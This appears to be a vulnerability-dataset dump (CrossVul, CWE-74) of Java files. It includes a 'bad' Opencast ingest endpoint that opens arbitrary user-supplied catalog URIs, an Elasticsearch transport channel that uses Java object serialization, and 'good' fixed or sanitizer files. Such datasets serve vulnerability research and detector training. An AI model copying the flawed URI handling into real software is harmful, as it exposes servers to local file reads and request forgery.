@RestParameter(description = "Episode metadata value", isRequired = false, name = "rightsHolder", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "source", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "spatial", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "subject", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "temporal", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "title", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "type", type = RestParameter.Type.STRING),
@RestParameter(description = "URL of episode DublinCore Catalog", isRequired = false, name = "episodeDCCatalogUri", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode DublinCore Catalog", isRequired = false, name = "episodeDCCatalog", type = RestParameter.Type.STRING),
@RestParameter(description = "URL of series DublinCore Catalog", isRequired = false, name = "seriesDCCatalogUri", type = RestParameter.Type.STRING),
@RestParameter(description = "Series DublinCore Catalog", isRequired = false, name = "seriesDCCatalog", type = RestParameter.Type.STRING),
@RestParameter(description = "URL of a media track file", isRequired = false, name = "mediaUri", type = RestParameter.Type.STRING) },
bodyParameter = @RestParameter(description = "The media track file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE),
reponses = {
@RestResponse(description = "Ingest successfull. Returns workflow instance as XML", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Ingest failed due to invalid requests.", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "Ingest failed. Something went wrong internally. Please have a look at the log files",
responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) },
returnDescription = "")
public Response addMediaPackage(@Context HttpServletRequest request, @PathParam("wdID") String wdID) {
logger.trace("add mediapackage as multipart-form-data with workflow definition id: {}", wdID);
MediaPackageElementFlavor flavor = null;
try {
MediaPackage mp = ingestService.createMediaPackage();
DublinCoreCatalog dcc = null;
Map<String, String> workflowProperties = new HashMap<>();
int seriesDCCatalogNumber = 0;
int episodeDCCatalogNumber = 0;
boolean hasMedia = false;
if (ServletFileUpload.isMultipartContent(request)) {
for (FileItemIterator iter = new ServletFileUpload().getItemIterator(request); iter.hasNext();) {
FileItemStream item = iter.next();
if (item.isFormField()) {
String fieldName = item.getFieldName();
String value = Streams.asString(item.openStream(), "UTF-8");
logger.trace("form field {}: {}", fieldName, value);
/* Ignore empty fields */
if ("".equals(value)) {
continue;
}
/* “Remember” the flavor for the next media. */
if ("flavor".equals(fieldName)) {
try {
flavor = MediaPackageElementFlavor.parseFlavor(value);
} catch (IllegalArgumentException e) {
String error = String.format("Could not parse flavor '%s'", value);
logger.debug(error, e);
return Response.status(Status.BAD_REQUEST).entity(error).build();
}
/* Fields for DC catalog */
} else if (dcterms.contains(fieldName)) {
if ("identifier".equals(fieldName)) {
/* Use the identifier for the mediapackage */
mp.setIdentifier(new IdImpl(value));
}
EName en = new EName(DublinCore.TERMS_NS_URI, fieldName);
if (dcc == null) {
dcc = dublinCoreService.newInstance();
}
dcc.add(en, value);
/* Episode metadata by URL */
} else if ("episodeDCCatalogUri".equals(fieldName)) {
try {
URI dcurl = new URI(value);
updateMediaPackageID(mp, dcurl);
ingestService.addCatalog(dcurl, MediaPackageElements.EPISODE, mp);
episodeDCCatalogNumber += 1;
} catch (java.net.URISyntaxException e) {
/* Parameter was not a valid URL: Return 400 Bad Request */
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.BAD_REQUEST).build();
}
/* Episode metadata DC catalog (XML) as string */
} else if ("episodeDCCatalog".equals(fieldName)) {
InputStream is = new ByteArrayInputStream(value.getBytes("UTF-8"));
updateMediaPackageID(mp, is);
is.reset();
String fileName = "episode" + episodeDCCatalogNumber + ".xml";
episodeDCCatalogNumber += 1;
ingestService.addCatalog(is, fileName, MediaPackageElements.EPISODE, mp);
/* Series by URL */
} else if ("seriesDCCatalogUri".equals(fieldName)) {
try {
URI dcurl = new URI(value);
ingestService.addCatalog(dcurl, MediaPackageElements.SERIES, mp);
} catch (java.net.URISyntaxException e) {
/* Parameter was not a valid URL: Return 400 Bad Request */
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.BAD_REQUEST).build();
}
/* Series DC catalog (XML) as string */
} else if ("seriesDCCatalog".equals(fieldName)) {
String fileName = "series" + seriesDCCatalogNumber + ".xml";
seriesDCCatalogNumber += 1;
InputStream is = new ByteArrayInputStream(value.getBytes("UTF-8"));
ingestService.addCatalog(is, fileName, MediaPackageElements.SERIES, mp);
/* Add media files by URL */
} else if ("mediaUri".equals(fieldName)) {
if (flavor == null) {
/* A flavor has to be specified in the request prior the media file */
return Response.serverError().status(Status.BAD_REQUEST).build();
}
URI mediaUrl;
try {
mediaUrl = new URI(value);
} catch (java.net.URISyntaxException e) {
/* Parameter was not a valid URL: Return 400 Bad Request */
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.BAD_REQUEST).build();
}
ingestService.addTrack(mediaUrl, flavor, mp);
hasMedia = true;
} else {
/* Tread everything else as workflow properties */
workflowProperties.put(fieldName, value);
}
/* Media files as request parameter */
} else {
if (flavor == null) {
/* A flavor has to be specified in the request prior the video file */
logger.debug("A flavor has to be specified in the request prior to the content BODY");
return Response.serverError().status(Status.BAD_REQUEST).build();
}
ingestService.addTrack(item.openStream(), item.getName(), flavor, mp);
hasMedia = true;
}
}
/* Check if we got any media. Fail if not. */
if (!hasMedia) {
logger.warn("Rejected ingest without actual media.");
return Response.serverError().status(Status.BAD_REQUEST).build();
}
/* Add episode mediapackage if metadata were send separately */
if (dcc != null) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
dcc.toXml(out, true);
InputStream in = new ByteArrayInputStream(out.toByteArray());
ingestService.addCatalog(in, "dublincore.xml", MediaPackageElements.EPISODE, mp);
/* Check if we have metadata for the episode */
} else if (episodeDCCatalogNumber == 0) {
logger.warn("Rejected ingest without episode metadata. At least provide a title.");
return Response.serverError().status(Status.BAD_REQUEST).build();
}
WorkflowInstance workflow = (wdID == null) ? ingestService.ingest(mp) : ingestService.ingest(mp, wdID,
workflowProperties);
return Response.ok(workflow).build();
}
return Response.serverError().status(Status.BAD_REQUEST).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
/**
* Try updating the identifier of a mediapackage with the identifier from a episode DublinCore catalog.
*
* @param mp
* MediaPackage to modify
* @param is
* InputStream containing the episode DublinCore catalog
*/
private void updateMediaPackageID(MediaPackage mp, InputStream is) throws IOException {
DublinCoreCatalog dc = DublinCores.read(is);
EName en = new EName(DublinCore.TERMS_NS_URI, "identifier");
String id = dc.getFirst(en);
if (id != null) {
mp.setIdentifier(new IdImpl(id));
}
}
/**
* Try updating the identifier of a mediapackage with the identifier from a episode DublinCore catalog.
*
* @param mp
* MediaPackage to modify
* @param uri
* URI to get the episode DublinCore catalog from
*/
private void updateMediaPackageID(MediaPackage mp, URI uri) throws IOException {
InputStream in = null;
HttpResponse response = null;
try {
if (uri.toString().startsWith("http")) {
HttpGet get = new HttpGet(uri);
response = httpClient.execute(get);
int httpStatusCode = response.getStatusLine().getStatusCode();
if (httpStatusCode != 200) {
throw new IOException(uri + " returns http " + httpStatusCode);
}
in = response.getEntity().getContent();
} else {
in = uri.toURL().openStream();
}
updateMediaPackageID(mp, in);
in.close();
} finally {
IOUtils.closeQuietly(in);
httpClient.close(response);
}
}
@POST
@Path("addZippedMediaPackage/{workflowDefinitionId}")
@Produces(MediaType.TEXT_XML)
@RestQuery(name = "addZippedMediaPackage", description = "Create media package from a compressed file containing a manifest.xml document and all media tracks, metadata catalogs and attachments", pathParameters = { @RestParameter(description = "Workflow definition id", isRequired = true, name = WORKFLOW_DEFINITION_ID_PARAM, type = RestParameter.Type.STRING) }, restParameters = { @RestParameter(description = "The workflow instance ID to associate with this zipped mediapackage", isRequired = false, name = WORKFLOW_INSTANCE_ID_PARAM, type = RestParameter.Type.STRING) }, bodyParameter = @RestParameter(description = "The compressed (application/zip) media package file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE), reponses = {
@RestResponse(description = "", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_NOT_FOUND),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_SERVICE_UNAVAILABLE) }, returnDescription = "")
public Response addZippedMediaPackage(@Context HttpServletRequest request,
@PathParam("workflowDefinitionId") String wdID, @QueryParam("id") String wiID) {
logger.trace("add zipped media package with workflow definition id: {} and workflow instance id: {}", wdID, wiID);
if (!isIngestLimitEnabled() || getIngestLimit() > 0) {
return ingestZippedMediaPackage(request, wdID, wiID);
} else {
logger.warn("Delaying ingest because we have exceeded the maximum number of ingests this server is setup to do concurrently.");
return Response.status(Status.SERVICE_UNAVAILABLE).build();
}
}
@POST
@Path("addZippedMediaPackage")
@Produces(MediaType.TEXT_XML)
@RestQuery(name = "addZippedMediaPackage", description = "Create media package from a compressed file containing a manifest.xml document and all media tracks, metadata catalogs and attachments", restParameters = {
@RestParameter(description = "The workflow definition ID to run on this mediapackage. "
+ "This parameter has to be set in the request prior to the zipped mediapackage "
+ "(This parameter is deprecated. Please use /addZippedMediaPackage/{workflowDefinitionId} instead)", isRequired = false, name = WORKFLOW_DEFINITION_ID_PARAM, type = RestParameter.Type.STRING),
@RestParameter(description = "The workflow instance ID to associate with this zipped mediapackage. "
+ "This parameter has to be set in the request prior to the zipped mediapackage "
+ "(This parameter is deprecated. Please use /addZippedMediaPackage/{workflowDefinitionId} with a path parameter instead)", isRequired = false, name = WORKFLOW_INSTANCE_ID_PARAM, type = RestParameter.Type.STRING) }, bodyParameter = @RestParameter(description = "The compressed (application/zip) media package file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE), reponses = {
@RestResponse(description = "", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_NOT_FOUND),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_SERVICE_UNAVAILABLE) }, returnDescription = "")
public Response addZippedMediaPackage(@Context HttpServletRequest request) {
logger.trace("add zipped media package");
if (!isIngestLimitEnabled() || getIngestLimit() > 0) {
return ingestZippedMediaPackage(request, null, null);
} else {
logger.warn("Delaying ingest because we have exceeded the maximum number of ingests this server is setup to do concurrently.");
return Response.status(Status.SERVICE_UNAVAILABLE).build();
}
}
private Response ingestZippedMediaPackage(HttpServletRequest request, String wdID, String wiID) {
if (isIngestLimitEnabled()) {
setIngestLimit(getIngestLimit() - 1);
logger.debug("An ingest has started so remaining ingest limit is " + getIngestLimit());
}
InputStream in = null;
Date started = new Date();
logger.info("Received new request from {} to ingest a zipped mediapackage", request.getRemoteHost());
try {
String workflowDefinitionId = wdID;
String workflowIdAsString = wiID;
Long workflowInstanceIdAsLong = null;
Map<String, String> workflowConfig = new HashMap<>();
if (ServletFileUpload.isMultipartContent(request)) {
boolean isDone = false;
for (FileItemIterator iter = new ServletFileUpload().getItemIterator(request); iter.hasNext();) {
FileItemStream item = iter.next();
if (item.isFormField()) {
String fieldName = item.getFieldName();
String value = Streams.asString(item.openStream(), "UTF-8");
logger.trace("{}: {}", fieldName, value);
if (WORKFLOW_INSTANCE_ID_PARAM.equals(fieldName)) {
workflowIdAsString = value;
continue;
} else if (WORKFLOW_DEFINITION_ID_PARAM.equals(fieldName)) {
workflowDefinitionId = value;
continue;
} else {
logger.debug("Processing form field: " + fieldName);
workflowConfig.put(fieldName, value);
}
} else {
logger.debug("Processing file item");
// once the body gets read iter.hasNext must not be invoked or the stream can not be read
// MH-9579
in = item.openStream();
isDone = true;
}
if (isDone)
break;
}
} else {
logger.debug("Processing file item");
in = request.getInputStream();
}
// Adding ingest start time to workflow configuration
DateFormat formatter = new SimpleDateFormat(IngestService.UTC_DATE_FORMAT);
workflowConfig.put(IngestService.START_DATE_KEY, formatter.format(started));
/* Legacy support: Try to convert the workflowId to integer */
if (!StringUtils.isBlank(workflowIdAsString)) {
try {
workflowInstanceIdAsLong = Long.parseLong(workflowIdAsString);
} catch (NumberFormatException e) {
// The workflowId is not a long value and might be the media package identifier
workflowConfig.put(IngestServiceImpl.LEGACY_MEDIAPACKAGE_ID_KEY, workflowIdAsString);
}
}
if (StringUtils.isBlank(workflowDefinitionId)) {
workflowDefinitionId = defaultWorkflowDefinitionId;
}
WorkflowInstance workflow;
if (workflowInstanceIdAsLong != null) {
workflow = ingestService.addZippedMediaPackage(in, workflowDefinitionId, workflowConfig,
workflowInstanceIdAsLong);
} else {
workflow = ingestService.addZippedMediaPackage(in, workflowDefinitionId, workflowConfig);
}
return Response.ok(WorkflowParser.toXml(workflow)).build();
} catch (NotFoundException e) {
logger.info(e.getMessage());
return Response.status(Status.NOT_FOUND).build();
} catch (MediaPackageException e) {
logger.warn(e.getMessage());
return Response.serverError().status(Status.BAD_REQUEST).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
} finally {
IOUtils.closeQuietly(in);
if (isIngestLimitEnabled()) {
setIngestLimit(getIngestLimit() + 1);
logger.debug("An ingest has finished so increased ingest limit to " + getIngestLimit());
}
}
}
@POST
@Produces(MediaType.TEXT_HTML)
@Path("ingest/{wdID}")
@RestQuery(name = "ingest", description = "Ingest the completed media package into the system, retrieving all URL-referenced files, and starting a specified workflow",
pathParameters = {
@RestParameter(description = "Workflow definition id", isRequired = true, name = "wdID", type = RestParameter.Type.STRING) },
restParameters = {
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) },
reponses = {
@RestResponse(description = "Returns the media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST) },
returnDescription = "")
public Response ingest(@Context HttpServletRequest request, @PathParam("wdID") String wdID) {
logger.trace("ingest media package with workflow definition id: {}", wdID);
if (StringUtils.isBlank(wdID)) {
return Response.status(Response.Status.BAD_REQUEST).build();
}
return ingest(wdID, request);
}
@POST
@Produces(MediaType.TEXT_HTML)
@Path("ingest")
@RestQuery(name = "ingest", description = "Ingest the completed media package into the system, retrieving all URL-referenced files",
restParameters = {
@RestParameter(description = "The media package", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT),
@RestParameter(description = "Workflow definition id", isRequired = false, name = WORKFLOW_DEFINITION_ID_PARAM, type = RestParameter.Type.STRING),
@RestParameter(description = "The workflow instance ID to associate with this zipped mediapackage", isRequired = false, name = WORKFLOW_INSTANCE_ID_PARAM, type = RestParameter.Type.STRING) },
reponses = {
@RestResponse(description = "Returns the media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST) },
returnDescription = "")
public Response ingest(@Context HttpServletRequest request) {
return ingest(null, request);
}
private Map<String, String> getWorkflowConfig(MultivaluedMap<String, String> formData) {
Map<String, String> wfConfig = new HashMap<>();
for (String key : formData.keySet()) {
if (!"mediaPackage".equals(key)) {
wfConfig.put(key, formData.getFirst(key));
}
}
return wfConfig;
}
private Response ingest(final String wdID, final HttpServletRequest request) {
/* Note: We use a MultivaluedMap here to ensure that we can get any arbitrary form parameters. This is required to
* enable things like holding for trim or distributing to YouTube. */
final MultivaluedMap<String, String> formData = new MultivaluedHashMap<>();
if (ServletFileUpload.isMultipartContent(request)) {
// parse form fields
try {
for (FileItemIterator iter = new ServletFileUpload().getItemIterator(request); iter.hasNext();) {
FileItemStream item = iter.next();
if (item.isFormField()) {
final String value = Streams.asString(item.openStream(), "UTF-8");
formData.putSingle(item.getFieldName(), value);
}
}
} catch (FileUploadException | IOException e) {
return Response.status(Response.Status.BAD_REQUEST).build();
}
} else {
request.getParameterMap().forEach((key, value) -> formData.put(key, Arrays.asList(value)));
}
final Map<String, String> wfConfig = getWorkflowConfig(formData);
if (StringUtils.isNotBlank(wdID))
wfConfig.put(WORKFLOW_DEFINITION_ID_PARAM, wdID);
final MediaPackage mp;
try {
mp = factory.newMediaPackageBuilder().loadFromXml(formData.getFirst("mediaPackage"));
if (MediaPackageSupport.sanityCheck(mp).isSome()) {
logger.warn("Rejected ingest with invalid mediapackage {}", mp);
return Response.status(Status.BAD_REQUEST).build();
}
} catch (Exception e) {
logger.warn("Rejected ingest without mediapackage");
return Response.status(Status.BAD_REQUEST).build();
}
final String workflowInstance = wfConfig.get(WORKFLOW_INSTANCE_ID_PARAM);
final String workflowDefinition = wfConfig.get(WORKFLOW_DEFINITION_ID_PARAM);
// Adding ingest start time to workflow configuration
wfConfig.put(IngestService.START_DATE_KEY, formatter.format(startCache.asMap().get(mp.getIdentifier().toString())));
final X<WorkflowInstance> ingest = new X<WorkflowInstance>() {
@Override
public WorkflowInstance xapply() throws Exception {
/* Legacy support: Try to convert the workflowInstance to integer */
Long workflowInstanceId = null;
if (StringUtils.isNotBlank(workflowInstance)) {
try {
workflowInstanceId = Long.parseLong(workflowInstance);
} catch (NumberFormatException e) {
// The workflowId is not a long value and might be the media package identifier
wfConfig.put(IngestServiceImpl.LEGACY_MEDIAPACKAGE_ID_KEY, workflowInstance);
}
}
if (workflowInstanceId != null) {
return ingestService.ingest(mp, trimToNull(workflowDefinition), wfConfig, workflowInstanceId);
} else {
return ingestService.ingest(mp, trimToNull(workflowDefinition), wfConfig);
}
}
};
try {
WorkflowInstance workflow = ingest.apply();
startCache.asMap().remove(mp.getIdentifier().toString());
return Response.ok(WorkflowParser.toXml(workflow)).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Path("schedule")
@RestQuery(name = "schedule", description = "Schedule an event based on the given media package",
restParameters = {
@RestParameter(description = "The media package", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) },
reponses = {
@RestResponse(description = "Event scheduled", responseCode = HttpServletResponse.SC_CREATED),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST) },
returnDescription = "")
public Response schedule(MultivaluedMap<String, String> formData) {
logger.trace("pass schedule with default workflow definition id {}", defaultWorkflowDefinitionId);
return this.schedule(defaultWorkflowDefinitionId, formData);
}
@POST
@Path("schedule/{wdID}")
@RestQuery(name = "schedule", description = "Schedule an event based on the given media package",
pathParameters = {
@RestParameter(description = "Workflow definition id", isRequired = true, name = "wdID", type = RestParameter.Type.STRING) },
restParameters = {
@RestParameter(description = "The media package", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) },
reponses = {
@RestResponse(description = "Event scheduled", responseCode = HttpServletResponse.SC_CREATED),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST) },
returnDescription = "")
public Response schedule(@PathParam("wdID") String wdID, MultivaluedMap<String, String> formData) {
if (StringUtils.isBlank(wdID)) {
logger.trace("workflow definition id is not specified");
return Response.status(Response.Status.BAD_REQUEST).build();
}
Map<String, String> wfConfig = getWorkflowConfig(formData);
if (StringUtils.isNotBlank(wdID)) {
wfConfig.put(CaptureParameters.INGEST_WORKFLOW_DEFINITION, wdID);
}
logger.debug("Schedule with workflow definition '{}'", wfConfig.get(WORKFLOW_DEFINITION_ID_PARAM));
String mediaPackageXml = formData.getFirst("mediaPackage");
if (StringUtils.isBlank(mediaPackageXml)) {
logger.debug("Rejected schedule without media package");
return Response.status(Status.BAD_REQUEST).build();
}
MediaPackage mp = null;
try {
mp = factory.newMediaPackageBuilder().loadFromXml(mediaPackageXml);
if (MediaPackageSupport.sanityCheck(mp).isSome()) {
throw new MediaPackageException("Insane media package");
}
} catch (MediaPackageException e) {
logger.debug("Rejected ingest with invalid media package {}", mp);
return Response.status(Status.BAD_REQUEST).build();
}
MediaPackageElement[] mediaPackageElements = mp.getElementsByFlavor(MediaPackageElements.EPISODE);
if (mediaPackageElements.length != 1) {
logger.debug("There can be only one (and exactly one) episode dublin core catalog: https://youtu.be/_J3VeogFUOs");
return Response.status(Status.BAD_REQUEST).build();
}
try {
ingestService.schedule(mp, wdID, wfConfig);
return Response.status(Status.CREATED).build();
} catch (IngestException e) {
return Response.status(Status.BAD_REQUEST).entity(e.getMessage()).build();
} catch (SchedulerConflictException e) {
return Response.status(Status.CONFLICT).entity(e.getMessage()).build();
} catch (NotFoundException | UnauthorizedException | SchedulerException e) {
return Response.serverError().build();
}
}
/**
* Adds a dublinCore metadata catalog to the MediaPackage and returns the grown mediaPackage. JQuery Ajax functions
* doesn't support multipart/form-data encoding.
*
* @param mp
* MediaPackage
* @param dc
* DublinCoreCatalog
* @return grown MediaPackage XML
*/
@POST
@Produces(MediaType.TEXT_XML)
@Path("addDCCatalog")
@RestQuery(name = "addDCCatalog", description = "Add a dublincore episode catalog to a given media package using an url", restParameters = {
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT),
@RestParameter(description = "DublinCore catalog as XML", isRequired = true, name = "dublinCore", type = RestParameter.Type.TEXT),
@RestParameter(defaultValue = "dublincore/episode", description = "DublinCore Flavor", isRequired = false, name = "flavor", type = RestParameter.Type.STRING) }, reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addDCCatalog(@FormParam("mediaPackage") String mp, @FormParam("dublinCore") String dc,
@FormParam("flavor") String flavor) {
logger.trace("add DC catalog: {} with flavor: {} to media package: {}", dc, flavor, mp);
MediaPackageElementFlavor dcFlavor = MediaPackageElements.EPISODE;
if (flavor != null) {
try {
dcFlavor = MediaPackageElementFlavor.parseFlavor(flavor);
} catch (IllegalArgumentException e) {
logger.warn("Unable to set dublin core flavor to {}, using {} instead", flavor, MediaPackageElements.EPISODE);
}
}
MediaPackage mediaPackage;
/* Check if we got a proper mediapackage and try to parse it */
try {
mediaPackage = MediaPackageBuilderFactory.newInstance().newMediaPackageBuilder().loadFromXml(mp);
} catch (MediaPackageException e) {
return Response.serverError().status(Status.BAD_REQUEST).build();
}
if (MediaPackageSupport.sanityCheck(mediaPackage).isSome()) {
return Response.serverError().status(Status.BAD_REQUEST).build();
}
/* Check if we got a proper catalog */
if (StringUtils.isBlank(dc)) {
return Response.serverError().status(Status.BAD_REQUEST).build();
}
InputStream in = null;
try {
in = IOUtils.toInputStream(dc, "UTF-8");
mediaPackage = ingestService.addCatalog(in, "dublincore.xml", dcFlavor, mediaPackage);
} catch (MediaPackageException e) {
return Response.serverError().status(Status.BAD_REQUEST).build();
} catch (IOException e) {
/* Return an internal server error if we could not write to disk */
logger.error("Could not write catalog to disk: {}", e.getMessage());
return Response.serverError().build();
} catch (Exception e) {
logger.error(e.getMessage());
return Response.serverError().build();
} finally {
IOUtils.closeQuietly(in);
}
return Response.ok(mediaPackage).build();
}
@Override
public JobProducer getService() {
return ingestService;
}
@Override
public ServiceRegistry getServiceRegistry() {
return serviceRegistry;
}
/**
* OSGi Declarative Services callback to set the reference to the ingest service.
*
* @param ingestService
* the ingest service
*/
void setIngestService(IngestService ingestService) {
this.ingestService = ingestService;
}
/**
* OSGi Declarative Services callback to set the reference to the service registry.
*
* @param serviceRegistry
* the service registry
*/
void setServiceRegistry(ServiceRegistry serviceRegistry) {
this.serviceRegistry = serviceRegistry;
}
/**
* OSGi Declarative Services callback to set the reference to the dublin core service.
*
* @param dcService
* the dublin core service
*/
void setDublinCoreService(DublinCoreCatalogService dcService) {
this.dublinCoreService = dcService;
}
/**
* Sets the trusted http client
*
* @param httpClient
* the http client
*/
public void setHttpClient(TrustedHttpClient httpClient) {
this.httpClient = httpClient;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4533_2
|
crossvul-java_data_good_4390_4
|
package com.browserup.bup.rest.validation.util;
/*
* Modifications Copyright (c) 2019 BrowserUp, Inc.
* Original from:
* https://github.com/hibernate/hibernate-validator/blob/master/engine/src/main/java/org/hibernate/validator/internal/engine/messageinterpolation/util/InterpolationHelper.java
*/
/*
* License: Apache License, Version 2.0
* See the license file in the root directory or <http://www.apache.org/licenses/LICENSE-2.0>.
*/
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class MessageSanitizer {
public static final char BEGIN_CHAR = '{';
public static final char END_CHAR = '}';
public static final char EL_DESIGNATOR = '$';
public static final char ESCAPE_CHARACTER = '\\';
private static final Pattern ESCAPE_PATTERN = Pattern.compile( "([\\" + ESCAPE_CHARACTER + BEGIN_CHAR + END_CHAR + EL_DESIGNATOR + "])" );
private MessageSanitizer() {
}
public static String escape(String message) {
if ( message == null ) {
return null;
}
return ESCAPE_PATTERN.matcher( message ).replaceAll( Matcher.quoteReplacement( String.valueOf( ESCAPE_CHARACTER ) ) + "$1" );
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_4390_4
|
crossvul-java_data_bad_1678_2
|
/*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.elasticsearch.transport.local;
import org.elasticsearch.Version;
import org.elasticsearch.common.io.ThrowableObjectOutputStream;
import org.elasticsearch.common.io.stream.BytesStreamOutput;
import org.elasticsearch.common.io.stream.HandlesStreamOutput;
import org.elasticsearch.common.io.stream.StreamOutput;
import org.elasticsearch.transport.*;
import org.elasticsearch.transport.support.TransportStatus;
import java.io.IOException;
import java.io.NotSerializableException;
/**
*
*/
public class LocalTransportChannel implements TransportChannel {
private final LocalTransport sourceTransport;
private final TransportServiceAdapter sourceTransportServiceAdapter;
// the transport we will *send to*
private final LocalTransport targetTransport;
private final String action;
private final long requestId;
private final Version version;
public LocalTransportChannel(LocalTransport sourceTransport, TransportServiceAdapter sourceTransportServiceAdapter, LocalTransport targetTransport, String action, long requestId, Version version) {
this.sourceTransport = sourceTransport;
this.sourceTransportServiceAdapter = sourceTransportServiceAdapter;
this.targetTransport = targetTransport;
this.action = action;
this.requestId = requestId;
this.version = version;
}
@Override
public String action() {
return action;
}
@Override
public void sendResponse(TransportResponse response) throws IOException {
sendResponse(response, TransportResponseOptions.EMPTY);
}
@Override
public void sendResponse(TransportResponse response, TransportResponseOptions options) throws IOException {
BytesStreamOutput bStream = new BytesStreamOutput();
StreamOutput stream = new HandlesStreamOutput(bStream);
stream.setVersion(version);
stream.writeLong(requestId);
byte status = 0;
status = TransportStatus.setResponse(status);
stream.writeByte(status); // 0 for request, 1 for response.
response.writeTo(stream);
stream.close();
final byte[] data = bStream.bytes().toBytes();
targetTransport.workers().execute(new Runnable() {
@Override
public void run() {
targetTransport.messageReceived(data, action, sourceTransport, version, null);
}
});
sourceTransportServiceAdapter.onResponseSent(requestId, action, response, options);
}
@Override
public void sendResponse(Throwable error) throws IOException {
BytesStreamOutput stream = new BytesStreamOutput();
try {
writeResponseExceptionHeader(stream);
RemoteTransportException tx = new RemoteTransportException(targetTransport.nodeName(), targetTransport.boundAddress().boundAddress(), action, error);
ThrowableObjectOutputStream too = new ThrowableObjectOutputStream(stream);
too.writeObject(tx);
too.close();
} catch (NotSerializableException e) {
stream.reset();
writeResponseExceptionHeader(stream);
RemoteTransportException tx = new RemoteTransportException(targetTransport.nodeName(), targetTransport.boundAddress().boundAddress(), action, new NotSerializableTransportException(error));
ThrowableObjectOutputStream too = new ThrowableObjectOutputStream(stream);
too.writeObject(tx);
too.close();
}
final byte[] data = stream.bytes().toBytes();
targetTransport.workers().execute(new Runnable() {
@Override
public void run() {
targetTransport.messageReceived(data, action, sourceTransport, version, null);
}
});
sourceTransportServiceAdapter.onResponseSent(requestId, action, error);
}
private void writeResponseExceptionHeader(BytesStreamOutput stream) throws IOException {
stream.writeLong(requestId);
byte status = 0;
status = TransportStatus.setResponse(status);
status = TransportStatus.setError(status);
stream.writeByte(status);
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1678_2
|
crossvul-java_data_good_4533_2
|
/**
* Licensed to The Apereo Foundation under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional
* information regarding copyright ownership.
*
*
* The Apereo Foundation licenses this file to you under the Educational
* Community License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of the License
* at:
*
* http://opensource.org/licenses/ecl2.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*
*/
package org.opencastproject.ingest.endpoint;
import static org.apache.commons.lang3.StringUtils.trimToNull;
import org.opencastproject.capture.CaptureParameters;
import org.opencastproject.ingest.api.IngestException;
import org.opencastproject.ingest.api.IngestService;
import org.opencastproject.ingest.impl.IngestServiceImpl;
import org.opencastproject.job.api.JobProducer;
import org.opencastproject.mediapackage.EName;
import org.opencastproject.mediapackage.MediaPackage;
import org.opencastproject.mediapackage.MediaPackageBuilderFactory;
import org.opencastproject.mediapackage.MediaPackageElement;
